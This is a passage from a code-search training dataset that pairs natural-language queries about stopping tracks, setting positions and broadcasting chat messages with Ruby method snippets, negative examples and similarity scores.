"0.6821751",
"0.6801841",
"0.6742302",
"0.6735005",
"0.67302614",
"0.67179495",
"0.6659342",
"0.6566882",
"0.6549811",
"0.64963573",
"0.64389104",
"0.6404532",
"0.6398601",
"0.6369018",
"0.6361707",
"0.6337311",
"0.6304872",
"0.62863195",
"0.6248241",
"0.62443465",
"0.6240685",
"0.6236659",
"0.6225234",
"0.6216721",
"0.62055546",
"0.62035763",
"0.6200699",
"0.6180788",
"0.6168321",
"0.6161776",
"0.6158876",
"0.61483246",
"0.6147537",
"0.6147537",
"0.614477",
"0.6141494",
"0.6131384",
"0.6131384",
"0.6126045",
"0.60861367",
"0.6080741",
"0.60278034",
"0.60247296",
"0.59738183",
"0.59704405",
"0.5946342",
"0.5937691",
"0.59359336",
"0.5927227",
"0.591316",
"0.5905009",
"0.5904747",
"0.59046066",
"0.58974314",
"0.5887154",
"0.58839196",
"0.5877542",
"0.58445644",
"0.58306205",
"0.58219546",
"0.5817754",
"0.58123565",
"0.58123565",
"0.58123565",
"0.57927793",
"0.57885325",
"0.5780967",
"0.57732636",
"0.576438",
"0.57567286",
"0.57557803",
"0.5749136",
"0.5734894",
"0.57236654"
] | 0.600692 | 69 |
Stop the current track | def stop; self.app.stop end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def stop\n if @playing\n @should_stop = true\n end\n end",
"def on_stop (track)\n end",
"def stop\n if running?\n @log.info \"Stopping tracker...\"\n @trackers.each_value {|tracker| tracker.stop}\n @running = false\n else\n @log.info \"Tracking already stopped\"\n end\n end",
"def stop!\n @stop = true\n end",
"def stop!\n @stop = true\n end",
"def stop\n @av_player.stop unless @av_player.nil?\n end",
"def stop\n @stop = true\n end",
"def stop\n\n @stopped = true\n\n onotify(:stop)\n end",
"def stop\n action('stop')\n end",
"def stop_song()\n @song_settings.stop rescue nil\n @show_playbar = false\nend",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop!\n @stop_mutex.synchronize { @stop = true }\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n @actions << :stop\n end",
"def stop\n @running = false\n end",
"def stop\n @running = false\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n end",
"def stop\n\n @stopped = true\n end",
"def stop!\n @stopped = true\n end",
"def stop\n @running = false\n end",
"def stop\n @running = false\n end",
"def stop\n @running = false\n end",
"def stop\n @timer.cancel\n end",
"def stop\n @timer.cancel\n end",
"def stop\n put :stop\n end",
"def stop\n Audio::Out.remove @cpg\n @is_playing = false\n #Audio::Out.remove @actuator\n end",
"def stop\n @running = false\n end",
"def stop\n control :kill\n self\n end",
"def stop\n @run = false\n end",
"def stop\n @enabled = false\n end",
"def stop\n @stopped = true\n end",
"def stop\n @stopped = true\n end",
"def stop\n @stopped = true\n end",
"def stop\n @speed = 0\n end",
"def stop\n @speed = 0\n end",
"def stop!; end",
"def stop\n @mutex.synchronize{ @do_stop = true }\n end",
"def stop()\n @state = STOPPED\n end",
"def stop\t\n\tend",
"def stop\n super\n @temp.stop\n end",
"def skip\n @song.kill\n @music.off\n end",
"def stop\n super\n @player.action_queue.next_action\n end",
"def stop!\n @state = :stopped\n end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def stop; end",
"def _active_stop!\n # NOTHING.\n self\n end",
"def stop!\n # Lock usage:\n # 1. @stop.mutex\n\n @stop.set(true)\n end",
"def stop\n @playing = false\n @playing_animation = @defaults[:animation]\n @current_frame = @defaults[:frame]\n set_frame\n end",
"def stop\n @command = ['screen', '-S', 'cast_session', '-X', 'stuff', 's']\n pid = run(@command)\n # set playing state to false\n @playing = false\n Rails.logger.debug(Rainbow(\"Attempting to stop video...\").orange)\n end",
"def stop!\n stopper.call\n end",
"def stop\n @loop = nil\n end",
"def stop\n\t\tself.request( :stop )\n\tend",
"def stop\n\t\t# No-op\n\tend",
"def stop\n RuoteStomp.stop!\n end",
"def stop\n if working\n @stop = true\n else\n exit\n end\n end",
"def stop_tracker\r\n params = request.parameters\r\n begin\r\n validate_mite_account_data(User.current.preference)\r\n mtracker = Mite::Tracker.current\r\n if mtracker.stop\r\n save_tracked_time\r\n render :text => \"Success\"\r\n else\r\n raise \"Tracker was stopped for an unforseen reason.\"\r\n end\r\n rescue StandardError => exception\r\n print \"Tracker was stopped for an unforseen reason.\" + exception\r\n render :text => \"Error: \" + exception\r\n end\r\n end",
"def stop\n # no-op\n end",
"def stop\n @quit = true\n end",
"def stop\n @stop_loop.call\n end",
"def stop\n true\n end",
"def stop\n true\n end",
"def stop\n true\n end",
"def stop\n true\n end",
"def stop\n @keep_watching = false\n update_spinner('Stopping')\n nil\n end",
"def stop\n\t\traise NotImplementedError, \"%p does not implement required method #stop\" % [ self.class ]\n\tend",
"def stop_action\n action(:stop)\n end",
"def stop()\n if running?\n # stop sound then reset parameters in case they were previously changed\n %x{#{echo()} stop > #{fifo()}}\n system \"stty #{$app.old_stty}\" # restore stty settings\n end\n end",
"def off\n @music.off\n @playlist.clear\n @song.kill\n end",
"def stop\n connection.write(\"stop\")\n end",
"def stop\n connection.write(\"stop\")\n end",
"def stop\n connection.write(\"stop\")\n end",
"def stop!\n log \">> Stopping ...\"\n\n @backend.stop!\n end",
"def stop\n return unless started?\n status(Stopping)\n self\n end",
"def stop\n @speed = 0\n puts \"The #{@color} #{@model} stopped.\"\n end",
"def stop_plugin\n @active = false\n end",
"def stop_stream_for(model); end",
"def stop\n if status == 'running'\n @status = 'stopped'\n @last_stop = Time.now\n @sw_time = Time.now - @sw_start\n else\n time\n end\n end",
"def stop(&block)\n @stop = block\n end",
"def stop\n raise \"You must implement a 'stop' method in your class!\"\n end",
"def stop\n return if stopped?\n\n `#@window.clearInterval(#@id)`\n\n @stopped = true\n @id = nil\n end",
"def stop\n close\n end",
"def stop\n stop_control_loop\n end",
"def stop\n raise \"NotImplemented\"\n end",
"def player_stop\n game_owner_only!\n @game.stop(current_user.id)\n redirect_to @game\n end"
] | [
"0.786155",
"0.7728812",
"0.7270189",
"0.72044474",
"0.72044474",
"0.71125084",
"0.7085592",
"0.705722",
"0.7054395",
"0.70497006",
"0.6992938",
"0.6992938",
"0.6992938",
"0.6992938",
"0.6992938",
"0.6992938",
"0.6992938",
"0.6992938",
"0.69823134",
"0.6972386",
"0.6972386",
"0.6972386",
"0.69608575",
"0.69263315",
"0.69263315",
"0.69132644",
"0.69132644",
"0.69132644",
"0.69132644",
"0.690491",
"0.68947345",
"0.68804777",
"0.68804777",
"0.68804777",
"0.6876082",
"0.6876082",
"0.6864857",
"0.68612456",
"0.6832623",
"0.68072414",
"0.68064696",
"0.6803237",
"0.679703",
"0.67888063",
"0.67888063",
"0.6764943",
"0.6764943",
"0.67641497",
"0.67577624",
"0.6750988",
"0.67503405",
"0.6727041",
"0.6724764",
"0.6702152",
"0.669903",
"0.66880375",
"0.66880375",
"0.66880375",
"0.66880375",
"0.66880375",
"0.66880375",
"0.66880375",
"0.6678223",
"0.66738546",
"0.6644421",
"0.66391593",
"0.6639056",
"0.6634309",
"0.66330653",
"0.66247404",
"0.66224116",
"0.66091704",
"0.65988505",
"0.65987736",
"0.6593424",
"0.65902597",
"0.6584613",
"0.6584613",
"0.6584613",
"0.6584613",
"0.6577112",
"0.65515023",
"0.65257055",
"0.6518095",
"0.65126365",
"0.64974254",
"0.64974254",
"0.64974254",
"0.6491817",
"0.64863974",
"0.6462785",
"0.64391375",
"0.6438635",
"0.64184374",
"0.6416417",
"0.64070064",
"0.6406348",
"0.6390055",
"0.6384968",
"0.6376911",
"0.6371236"
] | 0.0 | -1 |
Sets the current position in the track | def position=(position)
self.app.player_position.set(position.to_f) rescue nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def current_position=(new_current_position)\n Klass.setCurrentPosition(@handle, @index, new_current_position.to_i)\n\t new_current_position\n end",
"def seek(position)\n current.position = position if position\n\n self\n end",
"def update_position\n end",
"def update_position\n end",
"def update_position\n end",
"def position=(point); end",
"def change_position(position)\n @old_position = @position = position\n end",
"def pos=(pos)\n @pos = pos\n end",
"def setposition(x,y)\n\t\t@x = x\n\t\t@y = y\n\tend",
"def position=(new_position)\n Klass.setPosition(@handle, @index, new_position.to_f)\n new_position\n end",
"def pos=(val)\n @pos = val\n\n end",
"def set_position(x, y)\n @pos_x = x\n @pos_y = y\n end",
"def position=(value)\n @position = value\n end",
"def position=(value)\n @position = value\n end",
"def pos=(pos); end",
"def position=(new_position)\n Klass.setPosition(@handle, @index, new_position.to_i)\n new_position\n end",
"def pos=(p)\n @stream.pos=(p)\n end",
"def set_current_position!\n matrix[\n position[:y]\n ][\n position[:x]\n ] = DIRECTION_ARROWS[direction]\n end",
"def set_position\n self.update_attributes(position: seasons.last.position)\n end",
"def seek(position, unit = TimeUnit::MS)\n position = 0 if position < 0\n FMOD.invoke(:Channel_SetPosition, self, position, unit)\n self\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def cur_pos=(idx)\n @cursor_moved=true\n @cursor.pos=idx\n end",
"def set_position!\n return if position.present?\n\n self.position = self.class.count\n end",
"def set_position\n if @player_correct[-1] == true\n @player_pos << (@player_pos[-1]) - 5\n else\n @player_pos << @player_pos[-1]\n end\n if @computer_correct[-1] == true\n @computer_pos << (@computer_pos[-1]) - 5\n else\n @computer_pos << @computer_pos[-1]\n end\n end",
"def position=(position)\n update_channel_data(position: position)\n end",
"def setPosition _obj, _args\n \"_obj setPosition _args;\" \n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_position\n @position = Position.find(params[:id])\n end",
"def set_loc(x, y)\n @curr_x = x\n @curr_y = y\n end",
"def target_position=(new_target_position)\n Klass.setTargetPosition(@handle, @index, new_target_position.to_i)\n\t new_target_position\n end",
"def pos=(val)\n #setter method for position \n row, col = val\n @pos = val\n\n end",
"def set_position(x,y,z)\n @api.send(\"player.setPos(#{x},#{y},#{z})\")\n end",
"def set_point_position(index, position)\n MSPhysics::Newton::CurvySlider.set_point_position(@address, index, position)\n end",
"def set_point_position(index, position)\n MSPhysics::Newton::CurvySlider.set_point_position(@address, index, position)\n end",
"def update_board(mark, position)\n position = position.to_i\n\n @play_area[position] = mark\n end",
"def set_position\n self.position = blockable.reload.blocks.map(&:position).max.to_i + 1\n end",
"def set_object_position(obj, value)\n obj.y = value\n end",
"def position= o\n self.x = o.x\n self.y = o.y\n end",
"def progressSetPosition _obj, _args\n \"_obj progressSetPosition _args;\" \n end",
"def set_object_position(obj, value)\n obj.y = value if obj\n end",
"def set_object_position(obj, value)\n obj.x = value\n end",
"def setPos _obj, _args\n \"_obj setPos _args;\" \n end",
"def set_position\n self.position = institution.max_photo_position + 1\n end",
"def go(pt)\n self.xy = pt\n track.last << xy if pen_down?\n end",
"def set_object_position(obj, value)\n obj.x = value if obj\n end",
"def move\n check_placed\n new_position = case facing\n when :north then @position.inc_y\n when :south then @position.dec_y\n when :east then @position.inc_x\n when :west then @position.dec_y\n end\n check_position(new_position)\n @position = new_position\n end",
"def pos=(p0) end",
"def pos=(p0) end",
"def pos=(p0) end",
"def pos=(p0) end",
"def pos=(p1)\n #This is a stub, used for indexing\n end",
"def setpoint\n @setpoint\n end",
"def camSetPos _obj, _args\n \"_obj camSetPos _args;\" \n end",
"def []=(position, mark)\n raise ArgumentError, \"Position already taken #{position}\" unless valid_position? position\n @state[position - 1] = mark\n end",
"def change_spot(spot)\n spot.update_occupied_by(self)\n @spot = spot\n @moved = true\n end",
"def pos=(position)\n raise ArgumentError, \"no stream\" unless __advance!\n @_st_stream.pos = position\n end",
"def position_changing(position , to)\n end",
"def sliderSetPosition _obj, _args\n \"_obj sliderSetPosition _args;\" \n end",
"def set_position \n if goal.objectives.reload.present?\n self.position = goal.objectives.maximum(:position) + 1\n else\n self.position = 1\n end\n end",
"def pos=(pos)\n if self.pos > pos\n @previous_line_number = @start_line_number\n @previous_pos = 0\n end\n super\n end",
"def position_setpoint=(value)\n write_attribute('position_sp', value)\n end",
"def pos() @current end",
"def player_position(value)\n @ole.PlayerPosition = value\n nil\n end",
"def set_position(y = 1, x = 1, &block)\n Position.new(y, x).to_s(&block)\n end",
"def pos=(arg0)\n end",
"def position=(arg)\n @view__.position = arg.is_a?(Vector) ? arg.getInternal__ : arg\n arg\n end",
"def position=(value)\n\t\t\t@latitude = value[0]\n\t\t\t@longitude = value[1]\n\t\t\tcall_position_change_if_necessary\n\t\tend",
"def seek(new_position)\n end",
"def set(max, position)\n @max = max\n @number = 1\n @cursor_y = position\n refresh\n end",
"def pos=(p)\n r = (@io.pos = p)\n @buffer = ''\n r\n end",
"def add_position\n self.position = self.max_position + 1\n end",
"def update_position\n if scope_changed?\n decrement(all_next_was)\n if range.include?(position)\n reorder(position_was, position)\n else\n add_to_bottom\n end\n else\n if range.include?(position)\n reorder(position_was, position)\n else\n self.position = position_was # Keep original position\n end\n end\n end",
"def initialize\n self.position = 0\n end",
"def update_location\n self.x = screen_x unless self.disposed?\n self.y = screen_y unless self.disposed?\n end",
"def set_position\n if params[:new_position].present? and params[:old_position].present?\n Top.update_position(params[:new_position], params[:old_position])\n head :ok\n else\n head :bad_request\n end\n end",
"def setWaypointPosition _obj, _args\n \"_obj setWaypointPosition _args;\" \n end",
"def setEditPosition(new_position)\n if new_position < 0\n CDK.Beep\n elsif new_position == 0\n @field_edit = new_position\n elsif self.validEditPosition(new_position)\n @field_edit = new_position\n else\n CDK.Beep\n end\n end",
"def position=(value)\n @position = @attributes[:position] = Vedeu::Geometry::Position\n .coerce(value)\n end",
"def position=(value)\n @position = @attributes[:position] = Vedeu::Geometry::Position\n .coerce(value)\n end",
"def set_positions(*args)\n x = y = 0\n (args.size / 3).times do |i|\n next unless (v = @followers[i])\n\n c = v.character\n x = args[i * 3]\n y = args[i * 3 + 1]\n c.moveto(x, y)\n c.direction = args[i * 3 + 2]\n c.update\n c.particle_push\n v.update\n end\n end",
"def rewind(pos = self.last_position)\n self.position = pos\n end",
"def save_pos; end",
"def frame=(pos); end",
"def set_position(l=nil, t=nil)\n @window_left = l ||= @window_left\n @window_top = t ||= @window_top\n super(l, t)\n return self\nend",
"def update_position!(next_move)\n table.x = next_move[:x]\n table.y = next_move[:y]\n end",
"def set_object_other_position(obj, value)\n obj.y = value if obj\n end",
"def set( *pos )\n if pos.length > 1\n if pos[0].kind_of? Symbol\n self.dir( *pos )\n else\n @x = Coord.set( pos[0] )\n @y = Coord.set( pos[1] )\n end\n else\n pos = pos[0]\n if pos.kind_of? Pos\n @x, @y = pos.xref, pos.yref\n else\n @x = Coord.set( pos[0] )\n @y = Coord.set( pos[1] )\n end\n end\n self\n end",
"def current_track=(track)\n if (track)\n reload\n idx = index(track.url)\n if (idx)\n \t @current_track_index = idx\n else\n \t add_track(track)\n \t @current_track_index = @tracks.count - 1\n end\n save\n end\n end",
"def set_current_point(x, y, view)\r\n if ([email protected](view, x, y, @ip1))\r\n return false\r\n end\r\n need_draw = true\r\n \r\n # Set the tooltip that will be displayed\r\n view.tooltip = @ip.tooltip\r\n \r\n # Compute points\r\n if (@state == STATE_MOVING)\r\n vec = @wall.endpt - @wall.origin\r\n point = @ip.position.project_to_line(@wall.origin, @wall.endpt)\r\n start_vec = point - @wall.origin\r\n if ((start_vec.length == 0) || (start_vec.samedirection?(vec)))\r\n @offset = @wall.origin.distance point\r\n else\r\n @offset = 0 # point is beyond wall origin\r\n end\r\n Sketchup::set_status_text(@offset.to_s, SB_VCB_VALUE)\r\n \r\n find_end_points\r\n end\r\n\r\n view.invalidate if need_draw\r\nend",
"def update(point)\n\t\t# move relative to the initial point\n\t\t\n\t\t@destination = @start + movement_delta(point)\n\tend",
"def setxy(x, y)\n setpos y, x\n end",
"def setVehiclePosition _obj, _args\n \"_obj setVehiclePosition _args;\" \n end"
] | [
"0.7136796",
"0.70751524",
"0.7071571",
"0.7071571",
"0.7071571",
"0.6931389",
"0.6926014",
"0.683678",
"0.6696016",
"0.66864717",
"0.6680258",
"0.6644065",
"0.6627005",
"0.6627005",
"0.6586475",
"0.65845835",
"0.65783316",
"0.6549046",
"0.65422994",
"0.6503704",
"0.6495198",
"0.6495198",
"0.6463395",
"0.644575",
"0.6439866",
"0.6411929",
"0.6404328",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.63822055",
"0.6364137",
"0.6359694",
"0.6334228",
"0.63316625",
"0.63296634",
"0.63296634",
"0.6327245",
"0.62872404",
"0.6285236",
"0.62741345",
"0.6258426",
"0.6241251",
"0.62367445",
"0.62249196",
"0.62180895",
"0.6195142",
"0.61823493",
"0.6170259",
"0.61451423",
"0.61451423",
"0.61451423",
"0.61451423",
"0.61403745",
"0.6134219",
"0.6117432",
"0.61113006",
"0.6094957",
"0.60927486",
"0.60901254",
"0.60863316",
"0.60820836",
"0.60712373",
"0.60701215",
"0.6064349",
"0.60598177",
"0.6043755",
"0.6032437",
"0.6032211",
"0.6018262",
"0.6015136",
"0.60108167",
"0.6005986",
"0.5985093",
"0.5981819",
"0.59732485",
"0.59685624",
"0.596842",
"0.5959612",
"0.59558403",
"0.5945662",
"0.5945662",
"0.5941299",
"0.59371245",
"0.5919125",
"0.5912102",
"0.5903357",
"0.5886329",
"0.5866776",
"0.58415306",
"0.5828527",
"0.58252364",
"0.58214223",
"0.58180076",
"0.5816327"
] | 0.64787465 | 22 |
Receiving messages from client and sending to other clients | def client_handler(client, all_clients)
client.puts 'Welcome to server, stranger!'
loop do
msg = client.gets
if msg.nil?
puts 'Client disconnected'
break
end
all_clients.each { |dest| send_msg(msg, dest) if dest != client }
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def process_messages\n\t\t\tloop do\n\t\t\t\tchan, message = @redis_listener.blpop(\"#{PREFIX}.network:#{@network}.messages\", 0)\n\t\t\t\[email protected](\"A client sent the message : #{message}\")\n\t\t\t\tmsgid, command, args = parse(message)\n\t\t\t\tunless command\n\t\t\t\t\[email protected](\"A client sent an invalid message.\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tif msgid && @failed_cmds.include?(msgid) # Every daemon tried to contact the multi (blpop act as first waiting, first served)\n\t\t\t\t\tanswer(msgid, false, \"No daemon could contact the multiplexer\")\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tans, info = case command\n\t\t\t\t\twhen \"add_sensor\"\n\t\t\t\t\t\tregister_device :sensor, args\n\t\t\t\t\twhen \"add_actuator\"\n\t\t\t\t\t\tregister_device :actuator, args\n\t\t\t\t\twhen \"delete_sensor\"\n\t\t\t\t\t\tunregister_device :sensor, args\n\t\t\t\t\twhen \"delete_actuator\"\n\t\t\t\t\t\tunregister_device :actuator, args\n\t\t\t\t\twhen \"take\"\n\t\t\t\t\t\ttake_callback args\n\t\t\t\t\twhen \"actuator_state\"\n\t\t\t\t\t\tactuator_state_callback args\n\t\t\t\t\telse\n\t\t\t\t\t\[email protected](\"A client sent an unknown command : \\\"#{command}\\\"\")\n\t\t\t\t\t\t[false, \"Unknown command \\\"#{command}\\\"\"]\n\t\t\t\tend\n\t\t\t\tcase ans\n\t\t\t\t\twhen true # Success\n\t\t\t\t\t\tanswer(msgid, true)\n\t\t\t\t\twhen false # Failure\n\t\t\t\t\t\tanswer(msgid, false, info)\n\t\t\t\t\telse # Timeout error, transmit to another daemon\n\t\t\t\t\t\tif not msgid\t\t\t # Generate an id only for daemons\n\t\t\t\t\t\t\tmsgid = rand.hash.abs\n\t\t\t\t\t\t\tmessage = \"#{msgid}:#{message}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t\t@failed_cmds.push(msgid).unshift\n\t\t\t\t\t\t#answer(msgid, false, \"wait\") # TODO utile ?\n\t\t\t\t\t\t@redis_listener.lpush(\"#{PREFIX}.network:#@network.messages\", message) #TODO generate with path?\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def receive_data data\n # The first message from the user is its name\n @name ||= data.strip\n\n @@connections.each do |client|\n # Send the message from the client to all other clients\n client.send_data \"#{@name} says: #{data}\"\n end\n end",
"def listen(client)\n loop do\n begin\n message = client.receive\n rescue Exception => e\n STDERR.puts \"Error: #{e.message}\"\n return\n end\n\n case message\n when :EOF\n return\n when :SKIP\n next\n when JoinRoom\n created, reason = create_or_join_room message[:name], client\n if created\n client.send Success.build(\"Joined #{message[:name]}.\")\n else\n client.send Error.build(reason)\n end\n when RequestRoomList\n room_list = @client_info_lock.synchronize { @rooms.keys.dup }\n client.send RoomList.build(room_list)\n when LeaveRoom\n left, reason = leave_room message[:name], client\n if left\n client.send Success.build(\"Left #{message[:name]}.\")\n else\n client.send Error.build(reason)\n end\n when RequestRoomMemberList\n client.send room_members(message[:name])\n when Say\n speak(message[:room], message[:message], client)\n room = message[:room]\n when Disconnect\n return\n when Whisper\n recipient, message = whisper(message[:to], client, message[:message])\n recipient.socket.send message\n else\n STDOUT.puts \"[Debug] unrecognized message received:\"\n p message\n end\n end\n end",
"def send_to_clients(msg)\n EM.schedule do\n @clients.each do |socket|\n socket.send msg\n end\n end\n end",
"def handle_client\n \t\t\t\tcase @state\n \t\t\t\twhen :new\n \t\t\t\t\tputs \"Session #{@id}: receiving hello\" if @@debug\n if @data_buf.length >= 2\n b = @data_buf.slice!(0,2)\n unless b.unpack(\"n\")[0] == 0x0002\n close_connection \n @data_suf = false\n end\n @state = :recv_key\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_key\n \t\t\t\t\tputs \"Session #{@id}: receiving key\" if @@debug\n if @data_buf.length >= 64\n \t\t\t\t\tb = @data_buf.slice!(0,64)\n \t\t\t\t\tb1 = @bot.rsakey.private_decrypt(b)\n \t\t\t\t\tiv = b1[0,16]\n \t\t\t\t\tkey = b1[16,32]\n \t\t\t\t\t@aes_send = AESStream.new(key,iv)\n \t\t\t\t\t@aes_recv = AESStream.new(key,iv)\n \t\t\t\t\tb1[0,16] = OpenSSL::Random.random_bytes 16\n \t\t\t\t\tb = @bot.rsakey.public_encrypt(b1)\n \t\t\t\t\tsend_data b\n \t\t\t\t\t@state = :recv_verify\n else\n @data_suf = false\n end\n \t\t\t\twhen :recv_verify\n \t\t\t\t\tputs \"Session #{@id}: receiving verification\" if @@debug\n if @data_buf.length >= 3\n \t\t\t\t\tb = @data_buf.slice!(0,3)\n \t\t\t\t\tout = @aes_recv.decrypt(b)\n \t\t\t\t\treturn false unless out == \"1\\r\\n\"\n \t\t\t\t\tputs \"Session #{@id}: repeating verification\" if @@debug\n \t\t\t\t\tputs \"Session #{@id}: ready\" if @@debug\n send_data b\n \t\t\t\t\t@state = :connected\n else\n @data_suf = false\n end\n \t\t\t\twhen :connected\n \t\t\t\t\tputs \"Session #{@id}: receiving block\" if @@debug\n \t\t\t\t\tb = @data_buf\n @data_buf = \"\"\n @data_suf = false\n if b.length > 0\n out = @aes_recv.decrypt(b)\n @bot.process(out, @peer)\n end\n \t\t\t\tend\n end",
"def message( msg, sender )\n @clients.each do |client|\n client.sock.puts \"#{sender}: #{msg}\" unless sender.port == client.port\n end\n log( \"[message] #{sender}: #{msg}\" )\n end",
"def listen_for_user_messages(username, client)\n loop {\n msg = client.gets.chomp\n # send a braodcast message, a message for all connected users, but not to self\n @connections[:clients].each do |other_name, other_client|\n unless other_name == username\n other_client.puts \"#{username}: #{msg}\"\n end\n end\n }\n end",
"def write_incoming_messages_to_client(nickname, client_reader, socket)\n Thread.new do\n # 监视 client 输入, 然后将消息 push 到服务端.\n while incoming = client_reader.gets\n unless incoming.start_with?(nickname)\n puts incoming\n socket.puts incoming\n end\n end\n end\nend",
"def receive_data data\n rdata = data.split(\"\\n\")\n rdata.each do |line|\n puts \"#{self} received <<< #{line}\"\n # the echo part\n send_data \">>>you sent: #{line}\\n\"\n # Close the connection when the client tells us to.\n close_connection if line =~ /quit/i\n end\n end",
"def get_messages()\n @@log.debug \"#{self.class} get messages starts\"\n #\n eof_msg_not_received = true\n loop_count = 0\n #\n headers = {\"persistent\" => true, \"client-id\" => @client_id,\n \"ack\" => @runparms.ack}\n #\n # Do this until the EOF message is received.\n #\n while (eof_msg_not_received)\n loop_count += 1\n @@log.debug \"Client loop count: #{loop_count}\"\n #\n client = Stomp::Client.open(@runparms.userid, @runparms.password, \n @runparms.host, @runparms.port)\n @@log.debug \"next subscribe starts\"\n received = nil\n client.subscribe(@queue_name, headers ) do |message|\n #\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n #\n proc_message(message)\n #\n if @runparms.ack == \"client\"\n @@log.debug \"subscribe loop, sending acknowledge\"\n client.acknowledge(message)\n end\n #\n if message.body == Runparms::EOF_MSG\n @@log.debug \"#{self.class} should be done\"\n eof_msg_not_received = false\n break\n end\n received = message\n end # end of subscribe\n @@log.debug \"#{self.class} Starting to sleep\"\n sleep 1.0 until received\n @@log.debug \"#{self.class} Ending sleep, closing client\"\n client.close()\n received = nil\n @@log.debug \"#{self.class} getter client loop ending\"\n end\n @@log.debug \"#{self.class} getter client ending\"\n end",
"def listen_user(client)\n\t\tloop do\n\t\t\t# Revisamos si la conexion se cerro\n\t\t\tbreak if client.eof?\n\t\t\t# optenemos el mensaje del cliente\n\t\t\tmessage = client.gets.chomp\n\t\t\t# Revisamos si es un mensaje\n\t\t\tif message[0] == \"r\"\n\t\t\t\tbroadcast_message(message, client)\n\t\t\telse\n\t\t\t\t# lo retransmitimos a todos los demas clientes\n\t\t\t\tbroadcast(message)\n\t\t\tend\n\t\tend\n\tend",
"def run\n listen\n broadcast\n loop do\n sleep(10)\n @all_clients.each {|client| client.puts \"Krazy Joe #{KJ_VERBS.sample} #{KJ_POS.sample} #{KJ_NOUNS.sample}!\"} \n end\nend",
"def process_client(client, buffer); end",
"def run\n loop do\n memcached = Memcached.new # each client has its oun cache storage\n new_client = @tcp_Server.accept # when a new client connects to the server\n client_handler_id = rand(999999).to_s\n client_handler = ClientHandler.new(id: client_handler_id, clientSocket: new_client, memcached: memcached)\n @@clients << client_handler\n\n Thread.start(client_handler) do |handler| # open a new thread for each accepted connection\n # Here we inform the client of the connections. It's human made, so can be removed if not needed\n puts \"New connection established! Now #{@@clients.length()} clients :>\"\n puts \"WAITING FOR REQUESTS\"\n handler.send(\"Server: Connection established with Client Handler ID: #{client_handler_id}\")\n handler.send(\"Server: You are the client ##{@@clients.length()}\")\n handler.send(\"Server: You may introduce commands now\")\n listen_requests(handler) # allow communication\n end\n end.join\n end",
"def broadcast_message(message, rclient)\n\t\[email protected] do |client|\n\t\t\tclient.puts message unless client == rclient\n\t\tend\n\tend",
"def on_message client, data\n controller(client).on_message(data)\n end",
"def broadcast(message)\n\t\[email protected] do |client|\n\t\t\tclient.puts message\n\t\tend\n\tend",
"def send_msg(conn,args)\n p = @app.get_client(conn) #pega objeto Player da lista de clientes\n unless p.nil?\n @app.broadcast(Message.new('chat','txt',\n {'author' => CGI::escapeHTML(p.to_s), 'msg' => CGI::escapeHTML(args['msg'])}\n )) #envia a mensagem para todos os clientes\n end\n end",
"def get_messages()\n @@log.debug \"getter client starting, thread is: #{Thread.current}\"\n received = nil\n #\n # Note: in the subscribe loop there is actually a separate\n # thread, known as the 'callback listener'!.\n #\n count = 0\n @client.subscribe(@queue_name,\n {\"persistent\" => true, \"client-id\" => @client_id,\n \"ack\" => @ack} ) do |message|\n @@log.debug \"subscribe loop, thread is: #{Thread.current}\"\n lmsg = \"Got Reply: ID=#{message.headers['message-id']} \"\n lmsg += \"BODY=#{message.body} \"\n lmsg += \"on QUEUE #{message.headers['destination']}\"\n @@log.debug \"#{lmsg}\"\n received = message\n count += 1\n if @ack == \"client\"\n @@log.debug \"subscribe loop, sending acknowledge\"\n @client.acknowledge(received)\n end\n end\n #\n # Make sure this sleep time is sufficiently large, but only as large as\n # really required! There must be sufficient time for:\n # 1) The stomp server to dequeue all the messages in the queue\n # 2) The stomp server will then transmit these messages\n # 3) The consumer/getter (this code) then processes the messages received.\n #\n # If this is not done, this consumer/getter will appear to 'lose' messages,\n # because the main thread wakes up, sees 'received', and closes the client\n # connection prematurely.\n #\n # This anomaly is *much* more apparent with stompserver than with AMQ. It\n # appears to me that AMQ enqueues, and dequeues messages much more quickly,\n # which covers this up in many cases.\n #\n # Later note: The above paragraph may not be correct. Caution advised.\n #\n sleep 3 until received\n #\n @client.close\n @@log.debug \"getter client received count: #{count}\"\n @@log.debug \"getter client ending, thread is: #{Thread.current}\"\n end",
"def event_incoming_chat(client, msg)\nend",
"def broadcast message\n @clients.keys.each do |key|\n notify key, message\n end\n end",
"def write_incoming_messages_to_client(nickname, client_reader, socket)\n Thread.new do\n while incoming = client_reader.gets\n unless incoming.start_with?(nickname)\n puts incoming\n socket.puts incoming\n end\n end\n end\nend",
"def dispatch(messages)\n with_connection do |connection|\n connection.write(messages)\n connection.read if messages.last.replyable?\n end\n end",
